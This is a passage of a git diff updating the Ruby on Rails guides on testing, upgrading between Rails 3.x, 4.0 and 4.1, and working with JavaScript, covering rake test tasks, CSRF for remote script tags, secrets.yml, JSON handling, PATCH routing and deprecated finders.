basis. Rails comes with a number of commands to help in testing. The table below lists all commands that come along in the default Rakefile when you initiate a Rails project. - -| Tasks | Description | -| ------------------------ | ----------- | -| `rake test` | Runs all unit, functional and integration tests. You can also simply run `rake test` as Rails will run all the tests by default| -| `rake test:controllers` | Runs all the controller tests from `test/controllers`| -| `rake test:functionals` | Runs all the functional tests from `test/controllers`, `test/mailers`, and `test/functional`| -| `rake test:helpers` | Runs all the helper tests from `test/helpers`| -| `rake test:integration` | Runs all the integration tests from `test/integration`| -| `rake test:mailers` | Runs all the mailer tests from `test/mailers`| -| `rake test:models` | Runs all the model tests from `test/models`| -| `rake test:units` | Runs all the unit tests from `test/models`, `test/helpers`, and `test/unit`| - -There're also some test commands which you can initiate by running rake tasks: +You don't need to set up and run your tests by hand on a test-by-test basis. +Rails comes with a number of commands to help in testing. +The table below lists all commands that come along in the default Rakefile +when you initiate a Rails project. + +| Tasks | Description | +| ----------------------- | ----------- | +| `rake test` | Runs all unit, functional and integration tests. You can also simply run `rake` as Rails will run all the tests by default | +| `rake test:controllers` | Runs all the controller tests from `test/controllers` | +| `rake test:functionals` | Runs all the functional tests from `test/controllers`, `test/mailers`, and `test/functional` | +| `rake test:helpers` | Runs all the helper tests from `test/helpers` | +| `rake test:integration` | Runs all the integration tests from `test/integration` | +| `rake test:mailers` | Runs all the mailer tests from `test/mailers` | +| `rake test:models` | Runs all the model tests from `test/models` | +| `rake test:units` | Runs all the unit tests from `test/models`, `test/helpers`, and `test/unit` | +| `rake test:all` | Runs all tests quickly by merging all types and not resetting db | +| `rake test:all:db` | Runs all tests quickly by merging all types and resetting db | -| Tasks | Description | -| ------------------------ | ----------- | -| `rake test` | Runs all unit, functional and integration tests. You can also simply run `rake` as the _test_ target is the default.| -| `rake test:recent` | Tests recent changes| -| `rake test:uncommitted` | Runs all the tests which are uncommitted. Supports Subversion and Git| Brief Note About `MiniTest` ----------------------------- @@ -870,10 +883,9 @@ class PostsControllerTest < ActionController::TestCase private - def initialize_post - @post = posts(:one) - end - + def initialize_post + @post = posts(:one) + end end ``` @@ -895,7 +907,7 @@ Testing mailer classes requires some specific tools to do a thorough job. ### Keeping the Postman in Check -Your mailer classes — like every other part of your Rails application — should be tested to ensure that it is working as expected. +Your mailer classes - like every other part of your Rails application - should be tested to ensure that it is working as expected. The goals of testing your mailer classes are to ensure that: @@ -989,6 +1001,47 @@ class UserControllerTest < ActionController::TestCase end ``` +Testing helpers +--------------- + +In order to test helpers, all you need to do is check that the output of the +helper method matches what you'd expect. Tests related to the helpers are +located under the `test/helpers` directory. Rails provides a generator which +generates both the helper and the test file: + +```bash +$ rails generate helper User + create app/helpers/user_helper.rb + invoke test_unit + create test/helpers/user_helper_test.rb +``` + +The generated test file contains the following code: + +```ruby +require 'test_helper' + +class UserHelperTest < ActionView::TestCase +end +``` + +A helper is just a simple module where you can define methods which are +available into your views. To test the output of the helper's methods, you just +have to use a mixin like this: + +```ruby +class UserHelperTest < ActionView::TestCase + include UserHelper + + test "should return the user name" do + # ... + end +end +``` + +Moreover, since the test class extends from `ActionView::TestCase`, you have +access to Rails' helper methods such as `link_to` or `pluralize`. + Other Testing Approaches ------------------------ @@ -997,6 +1050,7 @@ The built-in `test/unit` based testing is not the only way to test Rails applica * [NullDB](http://avdi.org/projects/nulldb/), a way to speed up testing by avoiding database use. * [Factory Girl](https://github.com/thoughtbot/factory_girl/tree/master), a replacement for fixtures. * [Machinist](https://github.com/notahat/machinist/tree/master), another replacement for fixtures. +* [Fixture Builder](https://github.com/rdy/fixture_builder), a tool that compiles Ruby factories into fixtures before a test run. * [MiniTest::Spec Rails](https://github.com/metaskills/minitest-spec-rails), use the MiniTest::Spec DSL within your rails tests. * [Shoulda](http://www.thoughtbot.com/projects/shoulda), an extension to `test/unit` with additional helpers, macros, and assertions. * [RSpec](http://relishapp.com/rspec), a behavior-driven development framework diff --git a/guides/source/upgrading_ruby_on_rails.md b/guides/source/upgrading_ruby_on_rails.md index a8182617f3..bca1d36ab7 100644 --- a/guides/source/upgrading_ruby_on_rails.md +++ b/guides/source/upgrading_ruby_on_rails.md @@ -22,18 +22,349 @@ Rails generally stays close to the latest released Ruby version when it's releas TIP: Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails. Ruby Enterprise Edition has these fixed since the release of 1.8.7-2010.02. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x, jump straight to 1.9.3 for smooth sailing. -Upgrading from Rails 3.2 to Rails 4.0 +Upgrading from Rails 4.0 to Rails 4.1 ------------------------------------- NOTE: This section is a work in progress. +### CSRF protection from remote `<script>` tags + +Or, "whaaat my tests are failing!!!?" + +Cross-site request forgery (CSRF) protection now covers GET requests with +JavaScript responses, too. That prevents a third-party site from referencing +your JavaScript URL and attempting to run it to extract sensitive data. + +This means that your functional and integration tests that use + +```ruby +get :index, format: :js +``` + +will now trigger CSRF protection. Switch to + +```ruby +xhr :get, :index, format: :js +``` + +to explicitly test an XmlHttpRequest. + +If you really mean to load JavaScript from remote `<script>` tags, skip CSRF +protection on that action. + +### Spring + +If you want to use Spring as your application preloader you need to: + +1. Add `gem 'spring', group: :development` to your `Gemfile`. +2. Install spring using `bundle install`. +3. Springify your binstubs with `bundle exec spring binstub --all`. + +NOTE: User defined rake tasks will run in the `development` environment by +default. If you want them to run in other environments consult the +[Spring README](https://github.com/jonleighton/spring#rake). + +### `config/secrets.yml` + +If you want to use the new `secrets.yml` convention to store your application's +secrets, you need to: + +1. Create a `secrets.yml` file in your `config` folder with the following content: + + ```yaml + development: + secret_key_base: + + test: + secret_key_base: + + production: + secret_key_base: + ``` + +2. Copy the existing `secret_key_base` from the `secret_token.rb` initializer to + `secrets.yml` under the `production` section. + +3. Remove the `secret_token.rb` initializer. + +4. Use `rake secret` to generate new keys for the `development` and `test` sections. + +5. Restart your server. + +### Changes to test helper + +If your test helper contains a call to +`ActiveRecord::Migration.check_pending!` this can be removed. The check +is now done automatically when you `require 'test_help'`, although +leaving this line in your helper is not harmful in any way. + +### Changes in JSON handling + +There are a few major changes related to JSON handling in Rails 4.1. + +#### MultiJSON removal + +MultiJSON has reached its [end-of-life](https://github.com/rails/rails/pull/10576) +and has been removed from Rails. + +If your application currently depend on MultiJSON directly, you have a few options: + +1. Add 'multi_json' to your Gemfile. Note that this might cease to work in the future + +2. Migrate away from MultiJSON by using `obj.to_json`, and `JSON.parse(str)` instead. + +WARNING: Do not simply replace `MultiJson.dump` and `MultiJson.load` with +`JSON.dump` and `JSON.load`. These JSON gem APIs are meant for serializing and +deserializing arbitrary Ruby objects and are generally [unsafe](http://www.ruby-doc.org/stdlib-2.0.0/libdoc/json/rdoc/JSON.html#method-i-load). + +#### JSON gem compatibility + +Historically, Rails had some compatibility issues with the JSON gem. Using +`JSON.generate` and `JSON.dump` inside a Rails application could produce +unexpected errors. + +Rails 4.1 fixed these issues by isolating its own encoder from the JSON gem. The +JSON gem APIs will function as normal, but they will not have access to any +Rails-specific features. For example: + +```ruby +class FooBar + def as_json(options = nil) + { foo: "bar" } + end +end + +>> FooBar.new.to_json # => "{\"foo\":\"bar\"}" +>> JSON.generate(FooBar.new, quirks_mode: true) # => "\"#<FooBar:0x007fa80a481610>\"" +``` + +#### New JSON encoder + +The JSON encoder in Rails 4.1 has been rewritten to take advantage of the JSON +gem. For most applications, this should be a transparent change. However, as +part of the rewrite, the following features have been removed from the encoder: + +1. Circular data structure detection +2. Support for the `encode_json` hook +3. Option to encode `BigDecimal` objects as numbers instead of strings + +If you application depends on one of these features, you can get them back by +adding the [`activesupport-json_encoder`](https://github.com/rails/activesupport-json_encoder) +gem to your Gemfile. + +### Usage of `return` within inline callback blocks + +Previously, Rails allowed inline callback blocks to use `return` this way: + +```ruby +class ReadOnlyModel < ActiveRecord::Base + before_save { return false } # BAD +end +``` + +This behaviour was never intentionally supported. Due to a change in the internals +of `ActiveSupport::Callbacks`, this is no longer allowed in Rails 4.1. Using a +`return` statement in an inline callback block causes a `LocalJumpError` to +be raised when the callback is executed. + +Inline callback blocks using `return` can be refactored to evaluate to the +returned value: + +```ruby +class ReadOnlyModel < ActiveRecord::Base + before_save { false } # GOOD +end +``` + +Alternatively, if `return` is preferred it is recommended to explicitly define +a method: + +```ruby +class ReadOnlyModel < ActiveRecord::Base + before_save :before_save_callback # GOOD + + private + def before_save_callback + return false + end +end +``` + +This change applies to most places in Rails where callbacks are used, including +Active Record and Active Model callbacks, as well as filters in Action +Controller (e.g. `before_action`). + +See [this pull request](https://github.com/rails/rails/pull/13271) for more +details. + +### Methods defined in Active Record fixtures + +Rails 4.1 evaluates each fixture's ERB in a separate context, so helper methods +defined in a fixture will not be available in other fixtures. + +Helper methods that are used in multiple fixtures should be defined on modules +included in the newly introduced `ActiveRecord::FixtureSet.context_class`, in +`test_helper.rb`. + +```ruby +class FixtureFileHelpers + def file_sha(path) + Digest::SHA2.hexdigest(File.read(Rails.root.join('test/fixtures', path))) + end +end +ActiveRecord::FixtureSet.context_class.send :include, FixtureFileHelpers +``` + +### I18n enforcing available locales + +Rails 4.1 now defaults the I18n option `enforce_available_locales` to `true`, +meaning that it will make sure that all locales passed to it must be declared in +the `available_locales` list. + +To disable it (and allow I18n to accept *any* locale option) add the following +configuration to your application: + +```ruby +config.i18n.enforce_available_locales = false +``` + +Note that this option was added as a security measure, to ensure user input could +not be used as locale information unless previously known, so it's recommended not +to disable this option unless you have a strong reason for doing so. + +### Mutator methods called on Relation + +`Relation` no longer has mutator methods like `#map!` and `#delete_if`. Convert +to an `Array` by calling `#to_a` before using these methods. + +It intends to prevent odd bugs and confusion in code that call mutator +methods directly on the `Relation`. + +```ruby +# Instead of this +Author.where(name: 'Hank Moody').compact! + +# Now you have to do this +authors = Author.where(name: 'Hank Moody').to_a +authors.compact! +``` + +Upgrading from Rails 3.2 to Rails 4.0 +------------------------------------- + If your application is currently on any version of Rails older than 3.2.x, you should upgrade to Rails 3.2 before attempting one to Rails 4.0. The following changes are meant for upgrading your application to Rails 4.0. +### HTTP PATCH + +Rails 4 now uses `PATCH` as the primary HTTP verb for updates when a RESTful +resource is declared in `config/routes.rb`. The `update` action is still used, +and `PUT` requests will continue to be routed to the `update` action as well. +So, if you're using only the standard RESTful routes, no changes need to be made: + +```ruby +resources :users +``` + +```erb +<%= form_for @user do |f| %> +``` + +```ruby +class UsersController < ApplicationController + def update + # No change needed; PATCH will be preferred, and PUT will still work. + end +end +``` + +However, you will need to make a change if you are using `form_for` to update +a resource in conjunction with a custom route using the `PUT` HTTP method: + +```ruby +resources :users, do + put :update_name, on: :member +end +``` + +```erb +<%= form_for [ :update_name, @user ] do |f| %> +``` + +```ruby +class UsersController < ApplicationController + def update_name + # Change needed; form_for will try to use a non-existent PATCH route. + end +end +``` + +If the action is not being used in a public API and you are free to change the +HTTP method, you can update your route to use `patch` instead of `put`: + +`PUT` requests to `/users/:id` in Rails 4 get routed to `update` as they are +today. So, if you have an API that gets real PUT requests it is going to work. +The router also routes `PATCH` requests to `/users/:id` to the `update` action. + +```ruby +resources :users do + patch :update_name, on: :member +end +``` + +If the action is being used in a public API and you can't change to HTTP method +being used, you can update your form to use the `PUT` method instead: + +```erb +<%= form_for [ :update_name, @user ], method: :put do |f| %> +``` + +For more on PATCH and why this change was made, see [this post](http://weblog.rubyonrails.org/2012/2/25/edge-rails-patch-is-the-new-primary-http-method-for-updates/) +on the Rails blog. + +#### A note about media types + +The errata for the `PATCH` verb [specifies that a 'diff' media type should be +used with `PATCH`](http://www.rfc-editor.org/errata_search.php?rfc=5789). One +such format is [JSON Patch](http://tools.ietf.org/html/rfc6902). While Rails +does not support JSON Patch natively, it's easy enough to add support: + +``` +# in your controller +def update + respond_to do |format| + format.json do + # perform a partial update + @post.update params[:post] + end + + format.json_patch do + # perform sophisticated change + end + end +end + +# In config/initializers/json_patch.rb: +Mime::Type.register 'application/json-patch+json', :json_patch +``` + +As JSON Patch was only recently made into an RFC, there aren't a lot of great +Ruby libraries yet. Aaron Patterson's +[hana](https://github.com/tenderlove/hana) is one such gem, but doesn't have +full support for the last few changes in the specification. + ### Gemfile -Rails 4.0 removed the `assets` group from Gemfile. You'd need to remove that line from your Gemfile when upgrading. +Rails 4.0 removed the `assets` group from Gemfile. You'd need to remove that +line from your Gemfile when upgrading. You should also update your application +file (in `config/application.rb`): + +```ruby +# Require the gems listed in Gemfile, including any gems +# you've limited to :test, :development, or :production. +Bundler.require(:default, Rails.env) +``` ### vendor/plugins @@ -45,11 +376,14 @@ Rails 4.0 no longer supports loading plugins from `vendor/plugins`. You must rep * The `delete` method in collection associations can now receive `Fixnum` or `String` arguments as record ids, besides records, pretty much like the `destroy` method does. Previously it raised `ActiveRecord::AssociationTypeMismatch` for such arguments. From Rails 4.0 on `delete` automatically tries to find the records matching the given ids before deleting them. -* Rails 4.0 has changed how orders get stacked in `ActiveRecord::Relation`. In previous versions of Rails, the new order was applied after the previously defined order. But this is no longer true. Check [Active Record Query guide](active_record_querying.html#ordering) for more information. +* In Rails 4.0 when a column or a table is renamed the related indexes are also renamed. If you have migrations which rename the indexes, they are no longer needed. * Rails 4.0 has changed `serialized_attributes` and `attr_readonly` to class methods only. You shouldn't use instance methods since it's now deprecated. You should change them to use class methods, e.g. `self.serialized_attributes` to `self.class.serialized_attributes`. -* Rails 4.0 has removed `attr_accessible` and `attr_protected` feature in favor of Strong Parameters. You can use the [Protected Attributes gem](https://github.com/rails/protected_attributes) to a smoothly upgrade path. +* Rails 4.0 has removed `attr_accessible` and `attr_protected` feature in favor of Strong Parameters. You can use the [Protected Attributes gem](https://github.com/rails/protected_attributes) for a smooth upgrade path. + +* If you are not using Protected Attributes, you can remove any options related to +this gem such as `whitelist_attributes` or `mass_assignment_sanitizer` options. * Rails 4.0 requires that scopes use a callable object such as a Proc or lambda: @@ -61,8 +395,27 @@ Rails 4.0 no longer supports loading plugins from `vendor/plugins`. You must rep ``` * Rails 4.0 has deprecated `ActiveRecord::Fixtures` in favor of `ActiveRecord::FixtureSet`. + * Rails 4.0 has deprecated `ActiveRecord::TestCase` in favor of `ActiveSupport::TestCase`. +* Rails 4.0 has deprecated the old-style hash based finder API. This means that + methods which previously accepted "finder options" no longer do. + +* All dynamic methods except for `find_by_...` and `find_by_...!` are deprecated. + Here's how you can handle the changes: + + * `find_all_by_...` becomes `where(...)`. + * `find_last_by_...` becomes `where(...).last`. + * `scoped_by_...` becomes `where(...)`. + * `find_or_initialize_by_...` becomes `find_or_initialize_by(...)`. + * `find_or_create_by_...` becomes `find_or_create_by(...)`. + +* Note that `where(...)` returns a relation, not an array like the old finders. If you require an `Array`, use `where(...).to_a`. + +* These equivalent methods may not execute the same SQL as the previous implementation. + +* To re-enable the old finders, you can use the [activerecord-deprecated_finders gem](https://github.com/rails/activerecord-deprecated_finders). + ### Active Resource Rails 4.0 extracted Active Resource to its own gem. If you still need the feature you can add the [Active Resource gem](https://github.com/rails/activeresource) in your Gemfile. @@ -71,7 +424,7 @@ Rails 4.0 extracted Active Resource to its own gem. If you still need the featur * Rails 4.0 has changed how errors attach with the `ActiveModel::Validations::ConfirmationValidator`. Now when confirmation validations fail, the error will be attached to `:#{attribute}_confirmation` instead of `attribute`. -* Rails 4.0 has changed `ActiveModel::Serializers::JSON.include_root_in_json` default value to `false`. Now, Active Model Serializers and Active Record objects have the same default behavior. This means that you can comment or remove the following option in the `config/initializers/wrap_parameters.rb` file: +* Rails 4.0 has changed `ActiveModel::Serializers::JSON.include_root_in_json` default value to `false`. Now, Active Model Serializers and Active Record objects have the same default behaviour. This means that you can comment or remove the following option in the `config/initializers/wrap_parameters.rb` file: ```ruby # Disable root element in JSON by default. @@ -96,16 +449,6 @@ If you are relying on the ability for external applications or Javascript to be * Rails 4.0 encrypts the contents of cookie-based sessions if `secret_key_base` has been set. Rails 3.x signed, but did not encrypt, the contents of cookie-based session. Signed cookies are "secure" in that they are verified to have been generated by your app and are tamper-proof. However, the contents can be viewed by end users, and encrypting the contents eliminates this caveat/concern without a significant performance penalty. -As described above, existing signed cookies generated with Rails 3.x will be transparently upgraded if you leave your existing `secret_token` in place and add the new `secret_key_base`. - -```ruby - # config/initializers/secret_token.rb - Myapp::Application.config.secret_token = 'existing secret token' - Myapp::Application.config.secret_key_base = 'new secret key base' -``` - -The same caveats apply here, too. You should wait to set `secret_key_base` until you have 100% of your userbase on Rails 4.x and are reasonably sure you will not need to rollback to Rails 3.x. You should also take care to make sure you are not relying on the ability to decode signed cookies generated by your app in external applications or Javascript before upgrading. - Please read [Pull Request #9978](https://github.com/rails/rails/pull/9978) for details on the move to encrypted session cookies. * Rails 4.0 removed the `ActionController::Base.asset_path` option. Use the assets pipeline feature. @@ -118,7 +461,12 @@ Please read [Pull Request #9978](https://github.com/rails/rails/pull/9978) for d * Rails 4.0 changes the default memcached client from `memcache-client` to `dalli`. To upgrade, simply add `gem 'dalli'` to your `Gemfile`. -* Rails 4.0 deprecates the `dom_id` and `dom_class` methods. You will need to include the `ActionView::RecordIdentifier` module in controllers requiring this feature. +* Rails 4.0 deprecates the `dom_id` and `dom_class` methods in controllers (they are fine in views). You will need to include the `ActionView::RecordIdentifier` module in controllers requiring this feature. + +* Rails 4.0 deprecates the `:confirm` option for the `link_to` helper. You should +instead rely on a data attribute (e.g. `data: { confirm: 'Are you sure?' }`). +This deprecation also concerns the helpers based on this one (such as `link_to_if` +or `link_to_unless`). * Rails 4.0 changed how `assert_generates`, `assert_recognizes`, and `assert_routing` work. Now all these assertions raise `Assertion` instead of `ActionController::RoutingError`. @@ -207,28 +555,35 @@ Active Record Observer and Action Controller Sweeper have been extracted to the ### sprockets-rails * `assets:precompile:primary` has been removed. Use `assets:precompile` instead. +* The `config.assets.compress` option should be changed to +`config.assets.js_compressor` like so for instance: + +```ruby +config.assets.js_compressor = :uglifier +``` ### sass-rails -* `asset_url` with two arguments is deprecated. For example: `asset-url("rails.png", image)` becomes `asset-url("rails.png")` +* `asset-url` with two arguments is deprecated. For example: `asset-url("rails.png", image)` becomes `asset-url("rails.png")` Upgrading from Rails 3.1 to Rails 3.2 ------------------------------------- If your application is currently on any version of Rails older than 3.1.x, you should upgrade to Rails 3.1 before attempting an update to Rails 3.2. -The following changes are meant for upgrading your application to Rails 3.2.12, the latest 3.2.x version of Rails. +The following changes are meant for upgrading your application to Rails 3.2.16, +the last 3.2.x version of Rails. ### Gemfile Make the following changes to your `Gemfile`. ```ruby -gem 'rails', '= 3.2.12' +gem 'rails', '3.2.16' group :assets do - gem 'sass-rails', '~> 3.2.3' - gem 'coffee-rails', '~> 3.2.1' + gem 'sass-rails', '~> 3.2.6' + gem 'coffee-rails', '~> 3.2.2' gem 'uglifier', '>= 1.0.3' end ``` @@ -264,21 +619,21 @@ Upgrading from Rails 3.0 to Rails 3.1 If your application is currently on any version of Rails older than 3.0.x, you should upgrade to Rails 3.0 before attempting an update to Rails 3.1. -The following changes are meant for upgrading your application to Rails 3.1.11, the latest 3.1.x version of Rails. +The following changes are meant for upgrading your application to Rails 3.1.12, the last 3.1.x version of Rails. ### Gemfile Make the following changes to your `Gemfile`. ```ruby -gem 'rails', '= 3.1.11' +gem 'rails', '3.1.12' gem 'mysql2' # Needed for the new asset pipeline group :assets do - gem 'sass-rails', "~> 3.1.5" - gem 'coffee-rails', "~> 3.1.1" - gem 'uglifier', ">= 1.0.3" + gem 'sass-rails', '~> 3.1.7' + gem 'coffee-rails', '~> 3.1.1' + gem 'uglifier', '>= 1.0.3' end # jQuery is the default JavaScript library in Rails 3.1 @@ -320,7 +675,7 @@ config.assets.debug = true Again, most of the changes below are for the asset pipeline. You can read more about these in the [Asset Pipeline](asset_pipeline.html) guide. ```ruby -# Compress JavaScript and CSS +# Compress JavaScripts and CSS config.assets.compress = true # Don't fallback to assets pipeline if a precompiled asset is missed diff --git a/guides/source/working_with_javascript_in_rails.md b/guides/source/working_with_javascript_in_rails.md index ddefaf6ff8..3c04204c29 100644 --- a/guides/source/working_with_javascript_in_rails.md +++ b/guides/source/working_with_javascript_in_rails.md @@ -169,7 +169,7 @@ This will generate the following HTML: </form> ``` -Note the `data-remote='true'`. Now, the form will be submitted by Ajax rather +Note the `data-remote="true"`. Now, the form will be submitted by Ajax rather than by the browser's normal submit mechanism. You probably don't want to just sit there with a filled out `<form>`, though. @@ -185,7 +185,7 @@ $(document).ready -> ``` Obviously, you'll want to be a bit more sophisticated than that, but it's a -start. +start. You can see more about the events [in the jquery-ujs wiki](https://github.com/rails/jquery-ujs/wiki/ajax). ### form_tag @@ -194,7 +194,17 @@ is very similar to `form_for`. It has a `:remote` option that you can use like this: ```erb -<%= form_tag('/posts', remote: true) %> +<%= form_tag('/posts', remote: true) do %> + ... +<% end %> +``` + +This will generate the following HTML: + +```html +<form accept-charset="UTF-8" action="/posts" data-remote="true" method="post"> + ... +</form> ``` Everything else is the same as `form_for`. See its documentation for full @@ -278,9 +288,7 @@ The index view (`app/views/users/index.html.erb`) contains: <b>Users</b> <ul id="users"> -<% @users.each do |user| %> - <%= render user %> -<% end %> +<%= render @users %> </ul> <br> @@ -301,10 +309,10 @@ The `app/views/users/_user.html.erb` partial contains the following: The top portion of the index page displays the users. The bottom portion provides a form to create a new user. -The bottom form will call the create action on the Users controller. Because +The bottom form will call the `create` action on the `UsersController`. Because the form's remote option is set to true, the request will be posted to the -users controller as an Ajax request, looking for JavaScript. In order to -service that request, the create action of your controller would look like +`UsersController` as an Ajax request, looking for JavaScript. In order to +serve that request, the `create` action of your controller would look like this: ```ruby @@ -394,4 +402,4 @@ Here are some helpful links to help you learn even more: * [jquery-ujs list of external articles](https://github.com/rails/jquery-ujs/wiki/External-articles) * [Rails 3 Remote Links and Forms: A Definitive Guide](http://www.alfajango.com/blog/rails-3-remote-links-and-forms/) * [Railscasts: Unobtrusive JavaScript](http://railscasts.com/episodes/205-unobtrusive-javascript) -* [Railscasts: Turbolinks](http://railscasts.com/episodes/390-turbolinks)
\ No newline at end of file +* [Railscasts: Turbolinks](http://railscasts.com/episodes/390-turbolinks) |